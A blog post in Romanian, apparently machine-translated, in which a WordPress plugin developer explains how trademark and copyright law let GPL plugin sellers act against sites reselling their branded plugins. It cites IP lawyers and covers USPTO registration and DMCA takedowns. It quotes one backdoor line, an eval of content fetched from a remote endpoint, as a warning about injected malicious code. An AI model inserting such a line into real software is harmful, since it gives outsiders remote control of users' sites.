Ghidul suprem pentru a vă proteja legal afacerea cu pluginuri WordPress GPL împotriva trolilor

Licențiarea software-ului poate fi un subiect foarte confuz, mai ales în lumea open-source. Limitele legalității și ale eticii nu sunt întotdeauna clare. Dar, deoarece proprietarii de afaceri s-au concentrat pe vânzarea de pluginuri WordPress GPL, este de datoria noastră să înțelegem temeinic aceste subiecte.

Această postare nu va aborda etica și se va concentra pe considerentele legale. Vă va oferi o formulă acționabilă pas cu pas, inclusiv feedback din partea avocaților cu experiență în acest spațiu, pentru a vă proteja afacerea WordPress împotriva „trolii” pluginului.

În calitate de dezvoltator de pluginuri în ultimii cinci ani, am citit o mulțime de articole care discută despre GPL, libertățile sale și provocările asociate cu gestionarea unei afaceri conforme cu GPL. Dar în ultimele luni, acest subiect a devenit și mai important pentru mine.

În august, m-a urmărit un cont de Twitter numit WordPress Plugins (https://twitter.com/plugswp). Ca o chestiune de obicei, le-am verificat profilul pentru a afla mai multe despre acel utilizator. Am descoperit curând că handlerul a fost asociat cu „wppluginscheap.com”, un „trol” de pluginuri și teme care se prezintă drept „sursa numărul 1 pentru pluginuri și teme WordPress premium ieftine”. Răsfoind site-ul, am găsit multe plugin-uri premium populare precum Yoast SEO, Backup Buddy, WP Robot și 50 de teme premium. Fiecare produs s-a vândut cu mai puțin de 10 USD.

Oricât de naiv eram, am sărit pe WPChat și am început un nou thread:

Cu toții am programat sub amenințarea că unii troll vor apărea și vor revande pluginurile/temele noastre GPL la prețuri ridicole. Ei bine... este aici Ce zici să cumperi Yoast Premium SEO pentru 4,00 USD... Sunt puțin supărat și, pe de altă parte, amuzat, deoarece știam că va apărea într-o zi.

Am pus comunității două întrebări:
1. Cum îl dăm jos?
2. Te simți amenințat?

În paralel, am mers la grupul Advanced WordPress Facebook și am încărcat următorul status:

Joost de Valk și Thomas Hofter, cu excepția cazului în care ați început să vă vindeți pluginurile cu sub 10 USD, cred că acești băieți vă încalcă mărcile comerciale (și zeci de alți dezvoltatori de pluginuri). Cum îl dăm jos?

Dacă sunteți membru al grupului AWP, puteți verifica întregul thread aici.

Ambele subiecte au generat mult interes și discuții. Am primit 17 răspunsuri în WPChat și 84 de comentarii în grupul de Facebook AWP. Odată ce răspunsurile au început să se adune, mi-am dat seama de două lucruri:
1. Pluginul WordPress / trolii tematici sunt o epidemie – se întâmplă peste tot!

Acest lucru se întâmplă de mult timp, deși mai ales cu teme și suplimente WooCommerce. Consultați gplclub.org și sozot.com. WPAvengers.com a făcut ceva similar înainte de a se închide.

– Leland Fiegel, fondatorul WPChat

2. Chiar dacă există sute de postări pe blog despre fiecare aspect al licenței GPL, există încă multă confuzie în ecosistem. Chiar și printre influenți. Se pare că mulți oameni cred că este OK din punct de vedere tehnic (deși lipsit de etică) să o facă, deoarece pluginurile și temele sunt licențiate conform GPL.

Acești oportuniști apar din când în când și nu par să se ridice niciodată la nimic. Este legal (partea GPL, oricum) dar lipsit de etică. E leneș. Și este rău pentru clienți, deoarece mărfurile sunt într-o formă discutabilă, învechite, nesuportate și suspecte.

– Steven Gliebe, dezvoltator de teme și fondator al Pro Plugin Directory

Nu este etic, cu toate acestea, dacă eu, în calitate de proprietar de magazin de teme/plugin, lansând sub GPL, aș spune că, simt că sunt și mai lipsit de etică dacă pot spune asta decât tipii ăia și un ipocrit total.

– Ionuț Neagu, Fondator CodeinWP

Alte comentarii primite pe Facebook au inclus:

• Dacă pluginurile au fost licențiate conform GPL, atunci mi-e teamă că nu pot face nimic
• Nu cred că versiunile premium sunt sub GPL
• Este legal, conform GPL

Și sunt mult mai multe dintre acestea!

Așa că înainte de a începe, permiteți-mi să clarific ceva -

Acest lucru este complet greșit!

Dezvoltatorii au încă drepturi aplicabile, chiar dacă pluginurile lor sunt distribuite sub o licență open source.
Acești „Plugin Trolls” pot fi în continuare răspunzători pentru încălcarea mărcilor comerciale și/sau încălcarea drepturilor de autor.

Vreau să adaug că am citit o mulțime de opinii care spun că acei troli nu fac niciun rău afacerii. Dacă ar fi așa, nu m-aș deranja să petrec atât de mult timp compilând această postare. Aș dori să profit de ocazie pentru a explica motivele pentru care trolii sunt dăunători pentru comunitatea WordPress - pentru afacerea dvs. și, de asemenea, pentru utilizatorii WordPress.

De ce sunt trolii de pluginuri dăunătoare pentru afacerea dvs. de pluginuri?

Venituri Pierdute

Indiferent dacă vă place sau nu, o mulțime de utilizatori vor cumpăra sau vor primi pluginul dvs. premium de pe aceste site-uri web. În special începătorii cu WordPress. Dacă eram nou în ecosistemul WordPress și căutam un plugin SEO, Yoast SEO pentru 4 USD sună mult mai atrăgător decât prețul complet. L-aș cumpăra doar. La fel cum caut întotdeauna cea mai bună reducere atunci când cumpăr un smartphone sau alte produse. Nu am nevoie de „garanția originală” deoarece nu am folosit-o niciodată cu niciunul dintre produsele pe care le-am achiziționat, așa că asistența nu este ceva pe care utilizatorii îl au în vedere încă de la început.

Sprijină abuzul

Dacă există probleme cu pluginul achiziționat de la troll – ghiciți cine este vinovat pentru asta? Desigur, adevăratul dezvoltator/companie. Dacă opera de artă asociată mărcii dvs. este replicată, clienții vă vor contacta. La fel ca și în cazul în care aș cumpăra un smartphone HTC de pe Amazon, când am probleme cu dispozitivul apelez la asistența tehnică HTC, nu la Amazon. Ce i-ai spune utilizatorului? „Da, este telefonul nostru, dar trebuie să contactați Amazon pentru asistență tehnică.” Acest răspuns ar fi greu de digerat pentru un utilizator. Va părea că nu ești în spatele produselor tale.

Dacă există probleme cu pluginul achiziționat de la troll – ghiciți cine este vinovat pentru asta? Tweet

Daune de marcă

Nu există nicio îndoială că unii troli injectează cod rău intenționat în pluginuri. Principalul stimulent pentru a face acest lucru este generarea de venituri în timp ce distribuiți gratuit pluginurile premium. Eu însumi am fost martor la asta. Acum doi ani, am fost abordat de un tip SEO senior de la o agenție BIG UK (peste 100 de angajați). . S-a oferit să se asocieze cu mine adăugând o linie simplă de cod la pluginul nostru:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

Ideea a fost că punctul final API va returna adrese URL ascunse pentru a împinge backlink-urile companiilor din portofoliu. Unul dintre exemplele pe care le-a trimis a fost:

<a href="”http://www.portfolio-company.com”">Great Company</a>

Trolii pot injecta cod rău intenționat în pluginuri în timp ce vă folosesc branding-ul original, un prejudiciu direct pentru marca dvs.! Tweet

Acesta a fost înainte de Google Penguin și a fost un hack SEO grozav. Și oferta a fost, de asemenea, fantastică – 0,1 USD pe domeniu pe lună. Deci, dacă aș avea 100.000 de domenii active folosind pluginul meu, aș putea genera 10.000 USD/lună. venituri fără a cheltui un minut în plus. Minunat nu? Evident că nu am făcut-o, din diverse motive, în primul rând pentru că acest cod era EXTREM de rău intenționat. Deschide o ușă din spate la distanță pentru a face orice doriți cu site-ul. Chiar dacă agenția a fost destinată doar să-l folosească pentru SEO, ce se întâmplă dacă serverul lor este piratat și cineva cu intenții rele preia controlul? Cine știe câte pluginuri WordPress.org legitime s-au asociat cu acea agenție... Revenind la troli, intențiile lor sunt pur financiare. Nu vă promovează pluginurile premium pentru distracție, ci vor să câștige bani. Și dacă fac lucruri ilegale, cum ar fi încălcarea drepturilor de autor și a mărcilor comerciale, nimic nu îi împiedică să genereze fluxuri alternative de venituri, cum ar fi injecțiile de cod. A, și am uitat să menționez că dacă se întâmplă așa ceva, tu ești cel care trebuie învinuit! Este produsul tău și marca ta.

De ce sunt troll-urile plugin-uri dăunătoare pentru utilizatori?

Din multe dintre aceleași motive pe care le-am menționat, dar din perspectiva utilizatorului.

Fără suport

Când se confruntă cu o problemă tehnică, trolul pur și simplu nu te poate ajuta. Nu este produsul lor, nu au nicio idee despre cod sau despre cum să rezolve orice probleme conexe. În plus, nu au resursele de sprijin pentru a face acest lucru. Și dacă veți încerca să contactați compania originală, dezvoltatorii de pluginuri premium au infrastructura pentru a-și urmări clienții. Compania de multe ori nu vă va ajuta până când nu cumpărați o licență originală.

Redistribuitorii ilegali de pluginuri nu vă pot și nu vă vor ajuta cu probleme tehnice. Tweet

Fără actualizări automate

Cele mai multe plugin-uri premium de pe piață astăzi au un mecanism de licențiere și actualizări (trolii adesea „hack” această parte înainte de a redistribui pluginul). Modul în care funcționează acest mecanism de actualizări automate este că o dată la fiecare 24 de ore, pluginul verifică serverul companiei originale pentru a vedea dacă există actualizări pentru versiunea premium. De asemenea, se autentifică cu o cheie de licență. Deoarece pluginul trollului nu a fost niciodată emis cu o cheie de licență de la compania originală, acest mecanism de actualizări NU va funcționa. Prin urmare, de fiecare dată când este instalat un plugin premium non-original, nu există actualizări automate. Acest lucru este rău, deoarece hackerii găsesc în mod constant noi vulnerabilități creative și un plugin premium învechit ar putea fi acea scurgere de securitate.

Pluginurile WordPress piratate nu au mecanism de actualizări automate – vulnerabilitate constantă de securitate! Tweet

Scurgeri majore de securitate

Îți amintești de linia de cod rău intenționată pe care am menționat-o mai sus? Doriți să aveți o ușă în spate a site-ului dvs. deschisă hackerilor? Această ușă din spate permite literalmente unui hacker să modifice fiecare pixel și conținut de pe site-ul tău. Și acesta este doar un exemplu, sunt sigur că există multe alte injecții creative.

Ce acoperă licențele open source?

Deoarece există în mod clar multă confuzie cu privire la aceste probleme în comunitatea dezvoltatorilor, am luat legătura cu prietenul meu, Ariel Reinitz și colegul său Matthew Hintz, care sunt avocați în domeniul proprietății intelectuale (IP) (brevete, mărci comerciale și drepturi de autor) la Lowenstein Sandler LLP, o firmă la nivel național cu birouri de la New York la Palo Alto.

Ariel mi-a explicat că, în timp ce „trolii” plugin-ul WP pot avea dreptul tehnic de a redistribui codul care se află sub o licență open source (de exemplu, GPL), există alte drepturi de proprietate intelectuală („IP”) care nu sunt acoperite de open source. licență pe care acești „troli” ar putea încă o încălca.

Iată ce are de spus Ariel despre GPL:

Este important să înțelegeți ce acoperă (și nu) licența open source (GPLv2) sub care sunt distribuite majoritatea pluginurilor WordPress:

O licență open-source dictează modul în care software-ul/codul sursă va fi distribuit. În general, astfel de licențe permit oricui să utilizeze, să modifice etc. software-ul/codul fără costuri. Astfel, codul sursă al unui proiect open source poate fi redistribuit de către alte părți fără a încălca termenii GPL.

Cu cuvinte simple – libertatea GPL permite oricui să ia codul sursă și să facă ce vrea cu el, inclusiv distribuția. Cred că există un consens în această parte în comunitate.

Ce nu acoperă licențele open source?

Cu toate acestea, licențele open-source (inclusiv GPLv2) nu se extind în general la mărcile comerciale. Mărcile comerciale se referă la modul în care un produs (de exemplu, un plugin, o temă, o aplicație etc.) este marcat – de exemplu, numele produsului (și/sau companiei din care provine), sloganul/sloganul acestuia și /sau logo-ul acestuia. Astfel, în timp ce codul sursă al unui proiect poate fi redistribuit liber sub o licență open source, o astfel de licență nu acordă altora niciun drept cu privire la mărcile comerciale asociate cu proiectul (de exemplu, numele produsului, compania care l-a dezvoltat, etc.).

În cuvinte non-avocați – GPL nu permite utilizarea niciunei mărci comerciale a pluginului, cum ar fi numele produsului, numele companiei și sigla. Ariel ne dă un exemplu:

Deci, de exemplu, dacă o terță parte redistribuie un plugin WordPress folosind toată marca originală a proiectului (de exemplu, promovând-o cu numele inițial, logo-ul etc. al companiei/proiectului), acest lucru ar încălca probabil marca comercială a dezvoltatorului original. drepturi. După cum sa menționat, licența open source nu permite cuiva să folosească brandingul altcuiva într-un context comercial. Acest lucru este important deoarece unul dintre principiile principale ale dreptului mărcilor comerciale este acela de a proteja consumatorul de confuzii cu privire la originea unui produs.

Principalele principii ale dreptului mărcilor comerciale nu sunt doar să protejeze afacerea, ci și să protejeze consumatorul de confuzie cu privire la originea unui produs. Este o notă importantă!

De asemenea, este important să recunoaștem că multe companii open-source înregistrează, protejează și asigură drepturile asupra mărcilor comerciale. Exemplele includ: Linux , MySQL , Red Hat și WordPress .

Ceea ce spune Ariel aici este că multe dintre cele mai mari nume din open-source își protejează și asigură drepturile asupra mărcilor comerciale. De ce nu ar trebui să facem la fel?

Dacă Red Hat își poate proteja și asigura drepturile asupra mărcilor comerciale, de ce nu pot dezvolta plugin-uri? Tweet

Pe lângă drepturile asupra mărcilor comerciale, Ariel a subliniat că dezvoltatorii au, de asemenea, dreptul la protecția drepturilor de autor asupra materialelor pe care le produc și care nu fac parte din codul sursă:

De asemenea, este important să recunoaștem că GPL (și alte licențe open-source) acoperă doar codul sursă al pluginului în sine. Dar, dacă dezvoltatorul creează materiale care nu fac parte din codul sursă (de exemplu, grafică, materiale promoționale, ambalaje etc.), acele materiale nu ar intra sub incidența GPL și dezvoltatorul nu ar avea nicio obligație să permită unei alte părți pentru a redistribui materialele.

De exemplu, uitați-vă la modul în care pluginul „Yoast” este prezentat în unele dintre site-urile „troll” menționate mai sus. În timp ce site-urile respective pot redistribui din punct de vedere tehnic codul sursă al lui Yoast (deoarece se încadrează în GPL), aceste site-uri încorporează, de asemenea, elemente precum branding-ul Yoast (de exemplu, numele și sigla Yoast, care sunt mărci comerciale ), precum și alte materiale creative dezvoltate de Yoast (de exemplu, graficul tipului care bea ceai care nu face parte din codul sursă al lui Yoast și, prin urmare, drepturile de autor sunt deținute de Yoast și nu fac obiectul GPL).

Deci – deși troll-ul poate avea dreptul legal de a redistribui codul sursă al lui Yoast, GPL (sau altă licență open source) nu le acordă dreptul de a utiliza (a) marca Yoast (mărci comerciale) sau (b) alte elemente grafice, materiale etc. ., (drepturi de autor) . Deoarece nu fac parte din codul sursă al pluginului, aceste elemente nu se încadrează în GPL și, prin urmare , drepturile de proprietate intelectuală (IP) asupra acestor articole sunt proprietatea exclusivă a dezvoltatorului .

Deoarece plugin-ul „trolii” utilizează mărcile înregistrate ale dezvoltatorului și materialele protejate prin drepturi de autor (cum ar fi în exemplele „Yoast” de mai sus), există proceduri legale (așa cum vom explora în detaliu mai jos) pe care dezvoltatorii le pot folosi pentru a impune aceste drepturi pentru a opriți, descurajați sau cel puțin încercați să limitați impactul pe care acești „troli” îl pot avea asupra afacerii dvs. Din nou, acest lucru este adevărat, chiar dacă pluginul dvs. este distribuit sub GPL.

Ce este protejat de mărcile comerciale?

Matthew explică ce acoperă mărcile comerciale:

Mai simplu spus, o marcă comercială este un identificator unic pentru consumatori care distinge sursa bunurilor sau serviciilor de altele. Cel mai adesea, o marcă comercială este un cuvânt, un logo sau o combinație a acestor elemente. În Statele Unite, drepturile asupra mărcilor comerciale încep cu utilizarea în comerț (numite „drepturi de drept comun”), nu prin înregistrarea la Biroul de brevete și mărci comerciale din Statele Unite (USPTO). Cu toate acestea, înregistrarea mărcii dumneavoastră la USPTO oferă proprietarului multe beneficii care nu sunt disponibile prin drepturile de drept comun. În special, acestea includ dovezi ale dreptului exclusiv al înregistrării de a utiliza o marcă în Statele Unite în legătură cu bunurile sau serviciile prevăzute în înregistrare, notificarea implicită că solicitantul înregistrării este proprietarul mărcii comerciale, lista înregistrării în USPTO. baza de date online și capacitatea de a utiliza simbolul. (Înainte de înregistrare, un simbol TM poate fi utilizat cu o marcă comercială.)

Codul este protejat de o marcă comercială?

În timpul cercetării mele, am citit câteva postări în care se menționează că atunci când se furnizează un plugin cu licență GPL sau o temă, codul trebuie refactorizat pentru a mă asigura că nu există funcții care includ identificatorul mărcii comerciale ca parte a numelui funcției. Pentru a clarifica acest lucru, l-am întrebat pe Matthew dacă codul este protejat și de marcă comercială și iată răspunsul:

Codul în sine nu este protejat de marcă comercială. Mărcile comerciale protejează cuvântul sau sigla pe care un consumator le asociază cu bunurile sau serviciile dvs. O limită a protecției mărcii comerciale pentru un plugin ar fi atunci cuvântul sau logo-ul folosit pentru a comercializa pluginul către consumatori. Și apoi, testul fundamental pentru încălcarea mărcii este dacă consumatorii ar fi probabil confuzi de similitudinea celor două mărci. Asemănarea este evaluată prin analizarea unor aspecte precum asemănarea vizuală și fonetică, cât de strâns legate sunt produsele/serviciile pentru fiecare marcă, cât de distinctive sunt mărcile și cât timp au fost utilizate mărcile.

Pentru a clarifica răspunsul într-un limbaj adecvat pentru dezvoltatori:

• Numele claselor, numele funcțiilor, numele variabilelor și numele constantelor NU sunt protejate de mărci comerciale.
• Pe de altă parte, șirurile care sunt imprimate pe pagină și sunt vizibile pentru utilizatorii finali - sunt protejate de marcă comercială.

Cum depuneți o înregistrare a mărcii?

Pentru a obține beneficiile înregistrării federale a unei mărci comerciale, marca dvs. comercială trebuie să fie înregistrată la USPTO. O cerere de înregistrare trebuie să includă informații de bază: numele solicitantului/proprietarului, marca, produsele sau serviciile cu care este utilizată marca, dovada utilizării mărcii cu acele produse sau servicii și datele primei utilizări a mărcii respective. . Considerații pentru aplicația dvs.:

• Căutați în baza de date TESS a USPTO (http://www.uspto.gov/trademark) mărci identice sau similare. În cazul în care se solicită sau sunt deja înregistrate mărci identice sau similare, acestea pot constitui temeiul respingerii cererii dumneavoastră. De asemenea, căutați prin Google sau prin alte servicii de căutare, deoarece o marcă ar putea fi utilizată fără înregistrare și poate avea drepturi superioare asupra acelei mărci, în ciuda înregistrării dvs. Înregistrarea nu epuizează drepturile de marcă ale unui utilizator anterior.
• Pentru a vă descrie bunurile sau serviciile, căutați în Manualul de identificare al USPTO pentru limba acceptabilă: http://tess2.uspto.gov/netahtml/tidm.html . De asemenea, puteți căuta limba acceptabilă pe TESS.
• Clasele sunt indicații generale referitoare la anumite domenii pentru produse sau servicii. De exemplu, pluginurile descărcabile sunt de obicei în clasa 9, care acoperă toate programele și software-ul de calculator.
• Taxele pentru o cerere de marcă sunt determinate de numărul de clase. Taxa generală este de 275 USD per clasă, dar sunt disponibile opțiuni de depunere mai mici și mai scumpe.

După ce o cerere este depusă, USPTO va examina cererea pentru a determina dacă marca este un identificator unic (adică, nu este descriptiv sau este asemănător în mod confuz cu cererile sau înregistrările depuse anterior). USPTO oferă termene pentru cereri: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Rețineți că protecția mărcii comerciale este teritorială. De exemplu, o înregistrare în Statele Unite va oferi protecție a mărcii comerciale în Statele Unite.

După cum a descris Matthew, procesul nu este neapărat complex – dar necesită timp și efort. Aș recomanda să plătiți un avocat de nivel mediu care să o facă pentru dvs. Ar trebui să vă coste între 200 USD și 2.000 USD pentru lucrare, deși vă va economisi timp și vă va asigura o aplicație mai bună. În orice caz, înainte de a începe, Google-l! Dacă găsiți un produs sau o companie (în special în același domeniu sau similar) care se potrivește exact cu termenul/expresia dvs., există șanse mari să NU puteți înregistra marca comercială (și este posibil să o încălcați pe cea a altcuiva).

Ce să faci când marca ta comercială este încălcată?

Voi începe cu ceea ce NU ar trebui să faceți – dacă este o încălcare a mărcii comerciale, nu un drept de autor, NU ar trebui să depuneți o eliminare DMCA.

DMCA acoperă NUMAI încălcarea drepturilor de autor. Nu este disponibilă nicio prevedere similară pentru mărcile comerciale. Utilizarea notificărilor de eliminare DMCA pentru revendicările privind mărcile comerciale poate duce la răspunderea reclamantului pentru declarațiile false.

În general, cel mai simplu este să încercați să rezolvați problemele direct cu proprietarul site-ului web. Dacă acest lucru nu reușește, puteți iniția acțiuni legale împotriva proprietarului site-ului, gazdei etc. Abordarea specifică pe care o luați va fi probabil specifică cazului și, în acest moment, vă sugerez să contactați un avocat pentru a înțelege cea mai bună opțiune în circumstanțele dumneavoastră specifice. .

Ce este protejat de drepturi de autor?

Dreptul de autor este diferit de marca comercială. Dreptul de autor protejează operele originale de autor fixate într-un mediu de exprimare. Cu toate acestea, o limită a protecției dreptului de autor este aceea că se extinde numai la expresie, nu la idee. Categoriile de lucrări pentru protecția dreptului de autor includ opere literare (cărți, cod), lucrări muzicale, fotografii și imagini, filme, înregistrări sonore, printre alte categorii. O altă limită este aceea că dreptul de autor nu protejează frazele sau expresiile scurte - asta rămâne pentru protecția mărcii comerciale, atâta timp cât acestea funcționează ca un identificator unic pentru consumatori care distinge sursa bunurilor sau serviciilor de altele.

Ce să faci când drepturile de autor sunt încălcate?

1. Inițial, este adesea cel mai simplu să încercați să contactați direct proprietarul site-ului web. În multe cazuri, proprietarul site-ului web nu este mai interesat decât dvs. de angajarea avocaților, implicarea în proceduri judiciare etc. Încercați să găsiți contul de Twitter, e-mailul de contact sau pagina de contact de pe site și trimiteți un mesaj prin care cereți eliminarea pluginul dvs. marca înregistrată de pe site.
2. Dacă nu ajută, puteți trimite notificări de eliminare DMCA (Digital Millennium Copyright Act). Există o mulțime de generatoare care vă ajută să creați unul, doar căutați pe Google pentru „dmca takedown generator”. Odată ce primiți notificarea, va trebui să o trimiteți proprietarului site-ului, companiei de găzduire și ISP. Opțional, puteți trimite o notificare și către motoarele de căutare pentru a elimina site-ul din rezultatele căutării. Pentru a găsi compania de găzduire, puteți utiliza site-uri web precum whoishostingthis.com. Pentru a găsi ISP-ul, puteți utiliza site-uri web precum http://www.whoismyisp.org/. Pentru a găsi linkul relevant pentru a depune DMCA către ISP / Hosting, căutați pe Google pentru ISP_NAME / HOSTING_NAME + DMCA.

Alternativ, puteți iniția acțiuni legale împotriva proprietarului site-ului, gazdei etc. Vă sugerez să contactați un avocat pentru a înțelege dacă aceasta este sau nu cea mai bună opțiune în circumstanțele dumneavoastră specifice.

Concluzie

Sper că acest set de instrucțiuni pas cu pas v-a oferit instrumentele potrivite pentru a vă proteja afacerea cu pluginuri GPL împotriva trolilor. Doar o recapitulare:

• În calitate de proprietar de afaceri, sunteți eligibil și ar trebui să vă protejați marca și activele companiei.
• Mărcile comerciale și drepturile de autor sunt modalități relativ ieftine și eficiente de a vă proteja legal afacerea cu pluginuri. Prin urmare, ar trebui să luați în considerare cu tărie înregistrarea mărcilor comerciale pentru numele companiei dvs. și numele produselor.
• Mulți troli încalcă atât drepturile de autor (de exemplu, prin ridicarea graficelor promoționale) cât și mărcile comerciale (prin folosirea numelui mărcii tale). Prin crearea unui nume de marcă, a unui logo și a unei opere de artă unice, generați un portofoliu pentru a ajuta la lupta împotriva încălcării drepturilor de autor.

Mulți troli încalcă atât drepturile de autor, cât și mărcile comerciale. Prin crearea unui nume de marcă, a unui logo și a unei opere de artă unice, generați un portofoliu pentru a ajuta la lupta împotriva încălcării drepturilor de autor.Tweet

Dacă un site web terță parte listează pluginul sau tema dvs. GPL premium, pentru vânzare sau cadou, fără consimțământul dvs.:

• Dacă site-ul web folosește opera ta de artă originală sau alte materiale, este probabil o încălcare a drepturilor de autor. Puteți depune o eliminare DMCA.
• Dacă site-ul web folosește marca comercială a companiei sau a produsului dvs., este probabil o încălcare a mărcii comerciale. Puteți iniția proceduri legale împotriva site-ului.

Dacă aveți gânduri suplimentare despre implicațiile legale și etice ale GPL, nu ezitați să le împărtășiți în comentariile de mai jos.

Referinte grozave:

• Anunțul de eliminare DMCA a fost emis împotriva Furk of WP Migrate DB Pro
• Licența GPL nu oferă libertatea de a încălca mărcile înregistrate
• Este abuzat GPL-ul WordPress?
• De ce plătim pentru codul licențiat GPL?